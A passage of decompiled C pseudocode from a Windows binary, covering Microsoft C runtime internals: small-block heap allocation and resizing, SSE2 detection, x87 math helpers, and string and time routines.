v2->bitvGroupLo[v4] &= v12; v10 = (*(_BYTE *)v11)-- == 1; if ( v10 ) pHeader->bitvEntryLo &= v12; } else { v8 = (int)&v2->cntRegionSize[v7]; v9 = ~(0x80000000u >> v7); v2->bitvGroupHi[v4] &= v9; v10 = (*(_BYTE *)v8)-- == 1; if ( v10 ) pHeader->bitvEntryHi &= v9; } v6 = pNext; } v5 = sizeNext + sizeEntry; *(_DWORD *)(*(_DWORD *)(v6 + 8) + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(*(_DWORD *)(pNext + 4) + 8) = *(_DWORD *)(pNext + 8); sizeEntry += sizeNext; } v13 = (v5 >> 4) - 1; if ( (unsigned int)v13 > 0x3F ) v13 = 63; if ( sizePrev & 1 ) { v14 = (int)pHeader; } else { pNexta = (int)&v3[-sizePrev]; v14 = (sizePrev >> 4) - 1; if ( (unsigned int)v14 > 0x3F ) v14 = 63; v15 = sizePrev + v5; v13 = (v15 >> 4) - 1; sizeEntry = v15; if ( (unsigned int)v13 > 0x3F ) v13 = 63; if ( v14 != v13 ) { if ( *(_DWORD *)(pNexta + 4) == *(_DWORD *)(pNexta + 8) ) { if ( (unsigned int)v14 >= 0x20 ) { v17 = ~(0x80000000u >> (v14 - 32)); v2->bitvGroupLo[v4] &= v17; v10 = v2->cntRegionSize[v14]-- == 1; if ( v10 ) pHeader->bitvEntryLo &= v17; } else { v16 = ~(0x80000000u >> v14); v2->bitvGroupHi[v4] &= v16; v10 = v2->cntRegionSize[v14]-- == 1; if ( v10 ) pHeader->bitvEntryHi &= v16; } } *(_DWORD *)(*(_DWORD *)(pNexta + 8) + 4) = *(_DWORD *)(pNexta + 4); *(_DWORD *)(*(_DWORD *)(pNexta + 4) + 8) = *(_DWORD *)(pNexta + 8); } v3 = (char *)pNexta; } if ( sizePrev & 1 || v14 != v13 ) { v18 = pGroup + 8 * v13; v19 = *(_DWORD *)(v18 + 4); *((_DWORD *)v3 + 2) = v18; *((_DWORD *)v3 + 1) = v19; *(_DWORD *)(v18 + 4) = v3; *(_DWORD *)(*((_DWORD *)v3 + 1) + 8) = v3; if ( *((_DWORD *)v3 + 1) == *((_DWORD *)v3 + 2) ) { pNext_3 = v2->cntRegionSize[v13]; v2->cntRegionSize[v13] = pNext_3 + 1; if ( (unsigned int)v13 >= 0x20 ) { if ( !pNext_3 ) pHeader->bitvEntryLo |= 0x80000000u >> (v13 - 32); v2->bitvGroupLo[v4] |= 0x80000000u >> (v13 - 32); } else { if ( !pNext_3 ) pHeader->bitvEntryHi |= 0x80000000u >> v13; v2->bitvGroupHi[v4] |= 0x80000000u >> v13; } } } *(_DWORD *)v3 = sizeEntry; *(_DWORD *)&v3[sizeEntry - 4] = sizeEntry; v10 = (*(_DWORD *)pGroup)-- == 1; if ( v10 ) { if ( __sbh_pHeaderDefer ) { VirtualFree((LPVOID)(*((_DWORD *)__sbh_pHeaderDefer + 3) + (__sbh_indGroupDefer << 15)), 0x8000u, 0x4000u); *((_DWORD *)__sbh_pHeaderDefer + 2) |= 0x80000000u >> __sbh_indGroupDefer; *(_DWORD *)(*((_DWORD *)__sbh_pHeaderDefer + 4) + 4 * __sbh_indGroupDefer + 196) = 0; --*(_BYTE *)(*((_DWORD *)__sbh_pHeaderDefer + 4) + 67); v20 = __sbh_pHeaderDefer; if ( !*(_BYTE *)(*((_DWORD *)__sbh_pHeaderDefer + 4) + 67) ) { *((_DWORD *)__sbh_pHeaderDefer + 1) &= 0xFFFFFFFEu; v20 = __sbh_pHeaderDefer; } if ( *((_DWORD *)v20 + 2) == -1 ) { VirtualFree(*((LPVOID *)v20 + 3), 0, 0x8000u); HeapFree(_crtheap, 0, *((LPVOID *)__sbh_pHeaderDefer + 4)); memmove( __sbh_pHeaderDefer, __sbh_pHeaderDefer + 20, (unsigned int)((char *)__sbh_pHeaderList + 20 * __sbh_cntHeaderList-- - (_DWORD)__sbh_pHeaderDefer - 20)); if ( (unsigned int)pHeader > (unsigned int)__sbh_pHeaderDefer ) --pHeader; __sbh_pHeaderScan = (int)__sbh_pHeaderList; } } __sbh_pHeaderDefer = (char *)pHeader; __sbh_indGroupDefer = v4; } } } // 146D090C: using guessed type int __sbh_cntHeaderList; // 146D0918: using guessed type int __sbh_pHeaderScan; // 146D0920: using guessed type int __sbh_indGroupDefer; //----- (005810D4) -------------------------------------------------------- tagHeader *__cdecl __sbh_alloc_new_region() { int v0; // eax@1 void *v1; // eax@2 char *v3; // esi@5 LPVOID v4; // eax@5 LPVOID v5; // eax@7 v0 = __sbh_cntHeaderList; if ( __sbh_cntHeaderList == __sbh_sizeHeaderList ) { v1 = HeapReAlloc(_crtheap, 0, __sbh_pHeaderList, 4 * (5 * __sbh_sizeHeaderList + 80)); if ( !v1 ) return 0; __sbh_sizeHeaderList += 16; __sbh_pHeaderList = v1; v0 = __sbh_cntHeaderList; } v3 = (char *)__sbh_pHeaderList + 20 * v0; v4 = HeapAlloc(_crtheap, 8u, 0x41C4u); *((_DWORD *)v3 + 4) = v4; if ( !v4 ) return 0; v5 = VirtualAlloc(0, 0x100000u, 0x2000u, 4u); *((_DWORD *)v3 + 3) = v5; if ( !v5 ) { HeapFree(_crtheap, 0, *((LPVOID *)v3 + 4)); return 0; } *((_DWORD *)v3 + 2) = -1; *(_DWORD *)v3 = 0; *((_DWORD *)v3 + 1) = 0; ++__sbh_cntHeaderList; **((_DWORD **)v3 + 4) = -1; return (tagHeader *)v3; } // 146D090C: using guessed type int __sbh_cntHeaderList; // 146D091C: using guessed type int __sbh_sizeHeaderList; //----- (0058118B) -------------------------------------------------------- int __cdecl __sbh_alloc_new_group(tagHeader *pHeader) { unsigned int v1; // eax@1 tagRegion *v2; // esi@1 int v3; // ebx@1 int v4; // eax@4 signed int v5; // edx@4 char *v6; // edi@6 int result; // eax@7 int v8; // edx@8 int v9; // eax@9 signed int v10; // ecx@9 bool v11; // zf@12 v1 = pHeader->bitvCommit; v2 = pHeader->pRegion; v3 = 0; while ( (v1 & 0x80000000u) == 0 ) { v1 *= 2; ++v3; } v4 = (int)&v2->grpHeadList[v3]; v5 = 63; do { *(_DWORD *)(v4 + 8) = v4; *(_DWORD *)(v4 + 4) = v4; v4 += 8; --v5; } while ( v5 ); v6 = (char *)pHeader->pHeapData + 32768 * v3; if ( VirtualAlloc((char *)pHeader->pHeapData + 32768 * v3, 0x8000u, 0x1000u, 4u) ) { v8 = (int)(v6 + 28672); if ( v6 <= v6 + 28672 ) { v9 = (int)(v6 + 16); v10 = 8; do { *(_DWORD *)(v9 - 8) = -1; *(_DWORD *)(v9 + 4076) = -1; *(_DWORD *)v9 = v9 + 4092; *(_DWORD *)(v9 - 4) = 4080; *(_DWORD *)(v9 + 4) = v9 - 4100; *(_DWORD *)(v9 + 4072) = 4080; v9 += 4096; --v10; } while ( v10 ); v8 = (int)(v6 + 28672); } v2->grpHeadList[v3].listHead[63].pEntryNext = (tagEntry *)(v6 + 12); *((_DWORD *)v6 + 5) = (char *)v2 + 516 * v3 + 828; v2->grpHeadList[v3].listHead[63].pEntryPrev = (tagEntry *)(v8 + 12); *(_DWORD *)(v8 + 16) = (char *)v2 + 516 * v3 + 828; v2->bitvGroupHi[v3] = 0; v2->bitvGroupLo[v3] = 1; v11 = v2->cntRegionSize[63]++ == 0; if ( v11 ) pHeader->bitvEntryLo |= 1u; pHeader->bitvCommit &= ~(0x80000000u >> v3); result = v3; } else { result = -1; } return result; } //----- (00581291) -------------------------------------------------------- int __cdecl __sbh_resize_block(tagHeader *pHeader, void *pvAlloc, int intNew) { tagRegion *v3; // eax@1 unsigned int v4; // edx@1 int v5; // esi@1 int v6; // ecx@1 char *v7; // edi@1 signed int v8; // ebx@1 int v9; // ecx@4 unsigned int v10; // ebx@8 int v11; // ecx@8 unsigned int v12; // ebx@8 bool v13; // zf@8 unsigned int v14; // ebx@10 int v15; // ecx@10 unsigned int v16; // ebx@10 int v17; // edi@13 char *v18; // ecx@13 int v19; // eax@19 char v20; // cl@19 void *v21; // edx@24 char *v22; // eax@24 int v24; // ecx@29 char *v25; // ebx@29 int v26; // esi@29 int v27; // esi@32 unsigned int v28; // ebx@36 int v29; // esi@36 unsigned int v30; // ebx@36 int v31; // ecx@38 unsigned int v32; // ebx@38 signed int v33; // esi@41 int v34; // ecx@43 int v35; // edi@43 int v36; // eax@47 char v37; // cl@47 unsigned int pGroup; // [sp+Ch] [bp-Ch]@1 int indNext; // [sp+10h] [bp-8h]@4 signed int sizeNext; // [sp+14h] [bp-4h]@1 signed int sizeNexta; // [sp+14h] [bp-4h]@12 char *pvAlloca; // [sp+24h] [bp+Ch]@29 char pvAlloc_3; // [sp+27h] [bp+Fh]@44 int pHead; // [sp+28h] [bp+10h]@1 int pHeadb; // [sp+28h] [bp+10h]@15 signed int pHeada; // [sp+28h] [bp+10h]@29 char pHead_3; // [sp+2Bh] [bp+13h]@16 v3 = pHeader->pRegion; v4 = (pvAlloc - pHeader->pHeapData) >> 15; pGroup = (unsigned int)&v3->grpHeadList[(pvAlloc - pHeader->pHeapData) >> 15]; v5 = (intNew + 23) & 0xFFFFFFF0; v6 = *((_DWORD *)pvAlloc - 1) - 1; v7 = (char *)pvAlloc + v6 - 4; v8 = *(_DWORD *)v7; pHead = *((_DWORD *)pvAlloc - 1) - 1; sizeNext = *(_DWORD *)v7; if ( v5 <= v6 ) { if ( v5 < v6 ) { pHeada = pHead - v5; v24 = v5 + 1; *((_DWORD *)pvAlloc - 1) = v5 + 1; v25 = (char *)pvAlloc + v5 - 4; v26 = (pHeada >> 4) - 1; pvAlloca = v25; *((_DWORD *)v25 - 1) = v24; if ( (unsigned int)v26 > 0x3F ) v26 = 63; if ( !(sizeNext & 1) ) { v27 = (sizeNext >> 4) - 1; if ( (unsigned int)v27 > 0x3F ) v27 = 63; if ( *((_DWORD *)v7 + 1) == *((_DWORD *)v7 + 2) ) { if ( (unsigned int)v27 >= 0x20 ) { v31 = (int)&v3->cntRegionSize[v27]; v32 = ~(0x80000000u >> (v27 - 32)); v3->bitvGroupLo[v4] &= v32; v13 = (*(_BYTE *)v31)-- == 1; if ( v13 ) pHeader->bitvEntryLo &= v32; } else { v28 = 0x80000000u >> v27; v29 = (int)&v3->cntRegionSize[v27]; v30 = ~v28; v3->bitvGroupHi[v4] &= v30; v13 = (*(_BYTE *)v29)-- == 1; if ( v13 ) pHeader->bitvEntryHi &= v30; } v25 = pvAlloca; } *(_DWORD *)(*((_DWORD *)v7 + 2) + 4) = *((_DWORD *)v7 + 1); *(_DWORD *)(*((_DWORD *)v7 + 1) + 8) = *((_DWORD *)v7 + 2); v33 = sizeNext + pHeada; pHeada = v33; v26 = (v33 >> 4) - 1; if ( (unsigned int)v26 > 0x3F ) v26 = 63; } v34 = pGroup + 8 * v26; v35 = *(_DWORD *)(v34 + 4); *((_DWORD *)v25 + 2) = v34; *((_DWORD *)v25 + 1) = v35; *(_DWORD *)(v34 + 4) = v25; *(_DWORD *)(*((_DWORD *)v25 + 1) + 8) = v25; if ( *((_DWORD *)v25 + 1) == *((_DWORD *)v25 + 2) ) { pvAlloc_3 = v3->cntRegionSize[v26]; v3->cntRegionSize[v26] = pvAlloc_3 + 1; if ( (unsigned int)v26 >= 0x20 ) { if ( !pvAlloc_3 ) pHeader->bitvEntryLo |= 0x80000000u >> (v26 - 32); v36 = (int)&v3->bitvGroupLo[v4]; v37 = v26 - 32; } else { if ( !pvAlloc_3 ) pHeader->bitvEntryHi |= 0x80000000u >> v26; v36 = (int)&v3->bitvGroupHi[v4]; v37 = v26; } *(_DWORD *)v36 |= 0x80000000u >> v37; } *(_DWORD *)v25 = pHeada; *(_DWORD *)&v25[pHeada - 4] = pHeada; } } else { if ( v8 & 1 || v5 > v6 + v8 ) return 0; v9 = (sizeNext >> 4) - 1; indNext = (sizeNext >> 4) - 1; if ( (unsigned int)v9 > 0x3F ) { v9 = 63; indNext = 63; } if ( *((_DWORD *)v7 + 1) == *((_DWORD *)v7 + 2) ) { if ( (unsigned int)v9 >= 0x20 ) { v14 = 0x80000000u >> (v9 - 32); v15 = (int)&v3->cntRegionSize[indNext]; v16 = ~v14; v3->bitvGroupLo[v4] &= v16; v13 = (*(_BYTE *)v15)-- == 1; if ( v13 ) pHeader->bitvEntryLo &= v16; } else { v10 = 0x80000000u >> v9; v11 = (int)&v3->cntRegionSize[indNext]; v12 = ~v10; v3->bitvGroupHi[v4] &= v12; v13 = (*(_BYTE *)v11)-- == 1; if ( v13 ) pHeader->bitvEntryHi &= v12; } } *(_DWORD *)(*((_DWORD *)v7 + 2) + 4) = *((_DWORD *)v7 + 1); *(_DWORD *)(*((_DWORD *)v7 + 1) + 8) = *((_DWORD *)v7 + 2); sizeNexta = pHead - v5 + sizeNext; if ( sizeNexta <= 0 ) { v21 = pvAlloc; } else { v17 = (sizeNexta >> 4) - 1; v18 = (char *)pvAlloc + v5 - 4; if ( (unsigned int)v17 > 0x3F ) v17 = 63; pHeadb = pGroup + 8 * v17; *(_DWORD *)((char *)pvAlloc + v5) = *(_DWORD *)(pHeadb + 4); *((_DWORD *)v18 + 2) = pHeadb; *(_DWORD *)(pGroup + 8 * v17 + 4) = v18; *(_DWORD *)(*(_DWORD *)((char *)pvAlloc + v5) + 8) = (char *)pvAlloc + v5 - 4; if ( *(_DWORD *)((char *)pvAlloc + v5) == *(_DWORD *)((char *)pvAlloc + v5 + 4) ) { pHead_3 = v3->cntRegionSize[v17]; v3->cntRegionSize[v17] = pHead_3 + 1; if ( (unsigned int)v17 >= 0x20 ) { if ( !pHead_3 ) pHeader->bitvEntryLo |= 0x80000000u >> (v17 - 32); v19 = (int)&v3->bitvGroupLo[v4]; v20 = v17 - 32; } else { if ( !pHead_3 ) pHeader->bitvEntryHi |= 0x80000000u >> v17; v19 = (int)&v3->bitvGroupHi[v4]; v20 = v17; } *(_DWORD *)v19 |= 0x80000000u >> v20; } v21 = pvAlloc; v22 = (char *)pvAlloc + v5 - 4; *(_DWORD *)v22 = sizeNexta; *(_DWORD *)&v22[sizeNexta - 4] = sizeNexta; } *((_DWORD *)v21 - 1) = v5 + 1; *(_DWORD *)((char *)v21 + v5 - 8) = v5 + 1; } return 1; } //----- (00581570) -------------------------------------------------------- void *__cdecl __sbh_alloc_block(int intSize) { int v1; // ecx@1 int v2; // ecx@1 unsigned int v3; // esi@2 unsigned int j; // ebx@4 bool i; // cf@4 int v6; // eax@14 int v7; // edx@14 int v8; // ecx@16 int v9; // edx@17 signed int v10; // edi@19 int v11; // ecx@19 int v13; // edx@35 int v14; // ecx@35 int v15; // esi@35 unsigned int v16; // ebx@40 int v17; // edi@40 bool v18; // zf@40 unsigned int v19; // ebx@42 int v20; // edi@42 unsigned int v21; // ebx@42 int v22; // ecx@46 int v23; // edi@46 int v24; // edx@58 unsigned int v25; // [sp+Ch] [bp-14h]@40 unsigned int v26; // [sp+Ch] [bp-14h]@42 int sizeEntry; // [sp+10h] [bp-10h]@1 int bitvEntryHi; // [sp+14h] [bp-Ch]@19 unsigned int sizeNewFree; // [sp+18h] [bp-8h]@2 int sizeNewFreea; // [sp+18h] [bp-8h]@35 char *pHeaderLast; // [sp+1Ch] [bp-4h]@1 int pHeaderLasta; // [sp+1Ch] [bp-4h]@14 unsigned int pHeader; // [sp+28h] [bp+8h]@7 char pHeader_3; // [sp+2Bh] [bp+Bh]@47 v1 = (intSize + 23) & 0xFFFFFFF0; sizeEntry = v1; v2 = (v1 >> 4) - 1; pHeaderLast = (char *)__sbh_pHeaderList + 20 * __sbh_cntHeaderList; if ( v2 >= 32 ) { v3 = 0; sizeNewFree = 0xFFFFFFFFu >> (v2 - 32); } else { v3 = 0xFFFFFFFFu >> v2; sizeNewFree = -1; } j = __sbh_pHeaderScan; for ( i = __sbh_pHeaderScan < (unsigned int)((char *)__sbh_pHeaderList + 20 * __sbh_cntHeaderList); ; i = j < (unsigned int)pHeaderLast ) { pHeader = j; if ( !i ) break; if ( v3 & *(_DWORD *)j | sizeNewFree & *(_DWORD *)(j + 4) ) break; j += 20; } if ( (char *)j == pHeaderLast ) { for ( j = (unsigned int)__sbh_pHeaderList; ; j += 20 ) { pHeader = j; if ( j >= __sbh_pHeaderScan ) break; if ( v3 & *(_DWORD *)j | sizeNewFree & *(_DWORD *)(j + 4) ) break; } if ( j == __sbh_pHeaderScan ) { while ( j < (unsigned int)pHeaderLast && !*(_DWORD *)(j + 8) ) { j += 20; pHeader = j; } if ( (char *)j == pHeaderLast ) { for ( j = (unsigned int)__sbh_pHeaderList; ; j += 20 ) { pHeader = j; if ( j >= __sbh_pHeaderScan ) break; if ( *(_DWORD *)(j + 8) ) break; } if ( j == __sbh_pHeaderScan ) { j = (unsigned int)__sbh_alloc_new_region(); pHeader = j; if ( !j ) return 0; } } **(_DWORD **)(j + 16) = __sbh_alloc_new_group((tagHeader *)j); if ( **(_DWORD **)(j + 16) == -1 ) return 0; } } __sbh_pHeaderScan = j; v6 = *(_DWORD *)(j + 16); v7 = *(_DWORD *)v6; pHeaderLasta = *(_DWORD *)v6; if ( *(_DWORD *)v6 == -1 || !(v3 & *(_DWORD *)(v6 + 4 * v7 + 68) | sizeNewFree & *(_DWORD *)(v6 + 4 * v7 + 196)) ) { pHeaderLasta = 0; v8 = v6 + 68; if ( !(v3 & *(_DWORD *)(v6 + 68) | sizeNewFree & *(_DWORD *)(v6 + 196)) ) { do { v9 = sizeNewFree & *(_DWORD *)(v8 + 132); ++pHeaderLasta; v8 += 4; } while ( !(v3 & *(_DWORD *)v8 | v9) ); } v7 = pHeaderLasta; } bitvEntryHi = 516 * v7 + v6 + 324; v10 = 0; v11 = v3 & *(_DWORD *)(v6 + 4 * v7 + 68); if ( !(v3 & *(_DWORD *)(v6 + 4 * v7 + 68)) ) { v11 = sizeNewFree & *(_DWORD *)(v6 + 4 * v7 + 196); v10 = 32; } while ( v11 >= 0 ) { v11 *= 2; ++v10; } v13 = *(_DWORD *)(bitvEntryHi + 8 * v10 + 4); v14 = *(_DWORD *)v13 - sizeEntry; v15 = ((*(_DWORD *)v13 - sizeEntry) >> 4) - 1; sizeNewFreea = *(_DWORD *)v13 - sizeEntry; if ( v15 > 63 ) v15 = 63; if ( v15 == v10 ) goto LABEL_55; if ( *(_DWORD *)(v13 + 4) != *(_DWORD *)(v13 + 8) ) goto LABEL_45; if ( v10 >= 32 ) { v19 = 0x80000000u >> (v10 - 32); v20 = v6 + v10 + 4; v21 = ~v19; *(_DWORD *)(v6 + 4 * pHeaderLasta + 196) &= v21; v18 = (*(_BYTE *)v20)-- == 1; v26 = v21; if ( v18 ) { j = pHeader; *(_DWORD *)(j + 4) &= v26; goto LABEL_45; } } else { v16 = 0x80000000u >> v10; v17 = v6 + v10 + 4; v25 = ~v16; *(_DWORD *)(v6 + 4 * pHeaderLasta + 68) &= ~v16; v18 = (*(_BYTE *)v17)-- == 1; if ( v18 ) { j = pHeader; *(_DWORD *)j &= v25; goto LABEL_45; } } j = pHeader; LABEL_45: *(_DWORD *)(*(_DWORD *)(v13 + 8) + 4) = *(_DWORD *)(v13 + 4); *(_DWORD *)(*(_DWORD *)(v13 + 4) + 8) = *(_DWORD *)(v13 + 8); if ( sizeNewFreea ) { v22 = bitvEntryHi + 8 * v15; v23 = *(_DWORD *)(v22 + 4); *(_DWORD *)(v13 + 8) = v22; *(_DWORD *)(v13 + 4) = v23; *(_DWORD *)(v22 + 4) = v13; *(_DWORD *)(*(_DWORD *)(v13 + 4) + 8) = v13; if ( *(_DWORD *)(v13 + 4) == *(_DWORD *)(v13 + 8) ) { pHeader_3 = *(_BYTE *)(v15 + v6 + 4); *(_BYTE *)(v15 + v6 + 4) = pHeader_3 + 1; if ( v15 >= 32 ) { if ( !pHeader_3 ) *(_DWORD *)(j + 4) |= 0x80000000u >> (v15 - 32); *(_DWORD *)(v6 + 4 * pHeaderLasta + 196) |= 0x80000000u >> (v15 - 32); } else { if ( !pHeader_3 ) *(_DWORD *)j |= 0x80000000u >> v15; *(_DWORD *)(v6 + 4 * pHeaderLasta + 68) |= 0x80000000u >> v15; } } v14 = sizeNewFreea; LABEL_55: if ( v14 ) { *(_DWORD *)v13 = v14; *(_DWORD *)(v14 + v13 - 4) = v14; } goto LABEL_58; } v14 = 0; LABEL_58: v24 = v14 + v13; *(_DWORD *)v24 = sizeEntry + 1; *(_DWORD *)(v24 + sizeEntry - 4) = sizeEntry + 1; v18 = (*(_DWORD *)bitvEntryHi)++ == 0; if ( v18 && (char *)j == __sbh_pHeaderDefer ) { if ( pHeaderLasta == __sbh_indGroupDefer ) __sbh_pHeaderDefer = 0; } *(_DWORD *)v6 = pHeaderLasta; return (void *)(v24 + 4); } // 146D090C: using guessed type int __sbh_cntHeaderList; // 146D0918: using guessed type int __sbh_pHeaderScan; // 146D0920: using guessed type int __sbh_indGroupDefer; //----- (0058186C) -------------------------------------------------------- int __cdecl has_osfxsr_set() { return 1; } //----- (005818A1) -------------------------------------------------------- int __cdecl __sse2_available_init() { int v0; // ebx@0 int v15; // eax@5 char cpu_feature_3; // [sp+Fh] [bp-19h]@1 signed int Signature; // [sp+10h] [bp-18h]@1 $798A751CA5B88BB861E8622E6CFD9044 Ident; // [sp+14h] [bp-14h]@1 _CF = 0; _OF = 0; _ZF = 1; _SF = 0; cpu_feature_3 = 0; Signature = 0; Ident.cBuf[0] = 0; __asm { pushf } if ( (v0 ^ 0x200000) != v0 ) { __asm { popf } _EAX = 0; __asm { cpuid } *(_DWORD *)&Ident.cBuf[0] = _EBX; *(_QWORD *)&Ident.cBuf[4] = __PAIR__(_ECX, _EDX); _EAX = 1; __asm { cpuid } cpu_feature_3 = BYTE3(_EDX); Signature = _EAX; } __sse2_available = 0; __use_sse2_mathfcns = 0; if ( cpu_feature_3 & 4 ) { if ( has_osfxsr_set() ) { __sse2_available = 1; strncmp("AuthenticAMD", Ident.cBuf, 0xCu); if ( v15 || ((Signature >> 8) & 0xF) + (((Signature >> 8) & 0xF) == 15 ? (Signature >> 20) & 0xFF : 0) != 15 ) __use_sse2_mathfcns = 1; } } return 0; } // 146D0900: using guessed type int __use_sse2_mathfcns; // 146D0904: using guessed type int __sse2_available; //----- (00581970) -------------------------------------------------------- void __cdecl _CIpow_pentium4() { JUMPOUT(_pow_pentium4); } // 581989: using guessed type int _pow_pentium4(); //----- (005824C0) -------------------------------------------------------- void __usercall ___00001(__int16 a1, int a2) { *(_BYTE *)(a2 - 144) = -2; if ( !HIBYTE(a1) ) { __asm { fxch st(1) fyl2x } JUMPOUT(_ffexpm1); } JUMPOUT(isintTOS); } // 5824CB: inconsistent fpu stack // 58261E: using guessed type int _ffexpm1(); // 582661: using guessed type int isintTOS(); //----- (005826D0) -------------------------------------------------------- int __usercall _trandisp1(int a1, __int16 a2, int a3, __int16 a4, double _ST7, char a6, char a7, char a8) { signed __int16 v8; // bx@2 if ( *(_BYTE *)(a1 + 14) == 5 ) { HIBYTE(v8) = ((unsigned __int8)(*(_WORD *)(a3 - 164) >> 8) | 2) & 0xFE; LOBYTE(v8) = 63; } else { v8 = 4927; } *(_WORD *)(a3 - 162) = v8; _EBX = XAMtoTagTab; __asm { fxam } *(_DWORD *)(a3 - 148) = a1; *(_WORD *)(a3 - 160) = a4; *(_BYTE *)(a3 - 144) = 0; LOBYTE(a2) = __ROL__((char)(2 * *(_BYTE *)(a3 - 159)) >> 1, 1); _AL = a2 & 0xF; __asm { xlat } return (*(int (__thiscall **)(int))(_AL + a1 + 16))(a2 & 0x404); } //----- (00582737) -------------------------------------------------------- int __usercall _trandisp2(int a1, int a2, __int16 a3, double _ST6, double a5, char a6, char a7, char a8) { signed __int16 v8; // bx@2 __int16 v10; // fps@4 char v12; // cl@4 __int16 v13; // cx@4 char v16; // ah@4 if ( *(_BYTE *)(a1 + 14) == 5 ) { HIBYTE(v8) = ((unsigned __int8)(*(_WORD *)(a2 - 164) >> 8) | 2) & 0xFE; LOBYTE(v8) = 63; } else { v8 = 4927; } *(_WORD *)(a2 - 162) = v8; _EBX = XAMtoTagTab; __asm { fxam } *(_DWORD *)(a2 - 148) = a1; *(_WORD *)(a2 - 160) = a3; *(_BYTE *)(a2 - 144) = 0; UNDEF(v10); _ST6 = a5; v12 = *(_BYTE *)(a2 - 159); __asm { fxam } *(_WORD *)(a2 - 160) = v10; HIBYTE(v13) = __ROL__((char)(2 * *(_BYTE *)(a2 - 159)) >> 1, 1); _AL = HIBYTE(v13) & 0xF; __asm { xlat } v16 = _AL; LOBYTE(v13) = __ROL__((char)(2 * v12) >> 1, 1); _AL = v13 & 0xF; __asm { xlat } return (*(int (__thiscall **)(int))((char)(4 * v16 | _AL) + a1 + 16))(v13 & 0x404); } //----- (005827C3) -------------------------------------------------------- #error "5827C3: positive sp value has been found (funcsize=4)" //----- (005828A0) -------------------------------------------------------- void __cdecl _startTwoArgErrorHandling(unsigned int savCW, unsigned int ret_addr, __int64 param1, __int64 param2) { JUMPOUT(&ContinueErrorHandling); } //----- (005828B7) -------------------------------------------------------- void __cdecl _startOneArgErrorHandling(unsigned int savCW, unsigned int ret_addr, __int64 param1) { int v3; // eax@0 int v4; // edx@0 char *v5; // ecx@0 _exception exc; // [sp+0h] [bp-20h]@1 exc.type = v3; __asm { fstp [ebp+exc.retval] } exc.name = v5; *(_QWORD *)&exc.arg1 = param1; _87except(v4, &exc, (unsigned __int16 *)&savCW); __asm { fld [ebp+exc.retval] } if ( (_WORD)savCW != 639 ) __asm { fldcw word ptr [ebp+savCW] } } // 5828C0: inconsistent fpu stack //----- (00582900) -------------------------------------------------------- double __usercall _twoToTOS(double a1) { _ST6 = a1; __asm { frndint } return __F2XM1__(-(_ST6 - a1)) + 1.0; } //----- (00582915) -------------------------------------------------------- void __cdecl _load_CW() { ; } //----- (0058292C) -------------------------------------------------------- double __usercall _convertTOStoQNaN(int a1, double result) { if ( !(a1 & 0x80000) ) result = result + 1.0; return result; } //----- (00582945) -------------------------------------------------------- double __fastcall _fload_withFB(int a1, int a2) { double result; // st7@2 if ( (*(_DWORD *)(a2 + 4) & 0x7FF00000) == 2146435072 ) result = COERCE_DOUBLE(*(_QWORD *)a2 << 11); else result = *(double *)a2; return result; } //----- (00582988) -------------------------------------------------------- int __cdecl _checkTOS_withFB(int a1, int a2) { int result; // eax@1 result = a2 & 0x7FF00000; if ( (a2 & 0x7FF00000) == 2146435072 ) result = a2; return result; } //----- (0058299E) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (005829AB) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (005829D5) -------------------------------------------------------- void __cdecl _check_overflow_exit() { JUMPOUT(check_overflow_start); } // 5829FD: using guessed type int check_overflow_start(); //----- (005829E9) -------------------------------------------------------- #error "582A2D: positive sp value has been found (funcsize=21)" //----- (00582A8C) -------------------------------------------------------- int __cdecl _d_inttype(long double y) { int result; // eax@4 if ( _fpclass(y) & 0x90 || _frnd(y) != y ) { result = 0; } else { if ( y / 2.0 == _frnd(y / 2.0) ) result = 2; else result = 1; } return result; } //----- (00582AFA) -------------------------------------------------------- int __cdecl _powhlp(long double x, long double y, long double *result) { long double v3; // st7@1 int v4; // esi@1 long double *v5; // eax@6 double v6; // st7@7 int v7; // ecx@21 v3 = x; v4 = 0; if ( x < 0.0 ) v3 = -x; if ( HIDWORD(y) == 2146435072 ) { if ( !LODWORD(y) ) { if ( v3 <= 1.0 ) { v5 = result; if ( v3 >= 1.0 ) goto LABEL_7; LABEL_18: v6 = 0.0; goto LABEL_32; } LABEL_16: v6 = _d_inf; goto LABEL_31; } } else { if ( y == -1.797693134862316e308 ) { if ( v3 <= 1.0 ) { v5 = result; if ( v3 < 1.0 ) { v6 = _d_inf; goto LABEL_32; } LABEL_7: v6 = _d_ind; v4 = 1; LABEL_32: *(_QWORD *)v5 = *(_QWORD *)&v6; return v4; } v6 = 0.0; LABEL_31: v5 = result; goto LABEL_32; } } if ( HIDWORD(x) == 2146435072 ) { if ( !LODWORD(x) ) { if ( y <= 0.0 ) { v5 = result; if ( y >= 0.0 ) { v6 = 1.0; goto LABEL_32; } goto LABEL_18; } goto LABEL_16; } } else { if ( x == -1.797693134862316e308 ) { v7 = _d_inttype(y); if ( y <= 0.0 ) { if ( y >= 0.0 ) { v6 = 1.0; } else { if ( v7 == 1 ) v6 = _d_mzero; else v6 = 0.0; } } else { v6 = _d_inf; if ( v7 == 1 ) v6 = -_d_inf; } goto LABEL_31; } } return v4; } //----- (00582C60) -------------------------------------------------------- void __cdecl __ascii_stricmp(void *dst, void *src) { void *v2; // esi@1 void *v3; // edi@1 char v4; // al@1 char v5; // ah@3 char v6; // ah@4 char v7; // t0@4 v2 = src; v3 = dst; v4 = -1; while ( v4 ) { v4 = *(_BYTE *)v2; v2 = (char *)v2 + 1; v5 = *(_BYTE *)v3; v3 = (char *)v3 + 1; if ( v5 != v4 ) { v7 = v5; v6 = ((unsigned __int8)(v4 - 65) < 0x1Au ? 0x20 : 0) + v4 - 65 + 65; v4 = ((unsigned __int8)(v7 - 65) < 0x1Au ? 0x20 : 0) + v7 - 65 + 65; if ( v4 != v6 ) break; } } } //----- (00582CAE) -------------------------------------------------------- tm *__cdecl _gmtime64(const __int64 *timp) { signed int v1; // ebx@1 unsigned int v2; // edi@1 _tiddata *v3; // eax@1 _tiddata *v4; // esi@1 void *v5; // eax@6 tm *v6; // esi@7 signed __int64 v7; // qax@9 signed int v8; // ebx@9 unsigned int v9; // edi@9 signed __int64 v10; // kr08_8@9 unsigned __int64 v11; // kr10_8@11 unsigned __int64 v12; // kr18_8@14 signed __int64 v13; // kr20_8@19 _UNKNOWN *v14; // edx@19 int v15; // eax@21 signed int v16; // ecx@21 int v17; // ecx@24 signed __int64 